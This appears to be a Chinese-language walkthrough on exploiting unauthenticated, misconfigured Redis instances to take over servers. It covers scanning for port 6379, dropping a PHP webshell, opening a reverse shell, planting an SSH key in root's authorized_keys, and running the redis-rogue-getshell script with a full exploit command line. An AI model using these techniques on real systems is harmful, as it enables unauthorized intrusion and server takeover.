这个漏洞造成原因是因为配置不当的问题,没有复杂的利用原理。这个漏洞一般位于内网中,在利用时往往是在尝试能否通过漏洞拿下服务器权限。
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
整个漏洞的利用是建立在配置不当上,我们是在Reids环境里面执行命令,需要我们能够访问登录目标的服务器。
1. Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
换言之,就是Redis可访问
2. 没有设置密码认证,可以免密码远程登录Redis服务
3. 以root身份运行Redis
利用场景:
在这样背景下,可以满足Redis访问的条件,接下来只要Redis配置不当和满足高权限即可拿下这台服务器。当然可以直接使用利用脚本。
一般会使用Nmap对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器,然后进行恶意操作
Redis 2.x,3.x,4.x,5.x
下面的测试环境是把Redis放在公网上来满足Redis的利用条件
利用条件:Web 目录权限可读写注意:部分没目录权限读写权限
把phpinfo换成一句话木马即可
客户端监听端口
服务端:
利用条件:允许异地登录
安全模式 protected-mode 处于关闭状态
这个公钥是你在买服务器时,生成本地一个密钥文件,是在服务器上一个文件。
利用条件:
原理:原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
测试能否登录:
ssh ip
项目地址:GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module
python redis-master.py -r 目标ip -p 9830 -L 自己的ip -p 8888 -f RedisModulesSDK/exp.so -c "id"
扫描服务器端口,如果发现有6379端口开放,直接尝试Redis未授权打一下。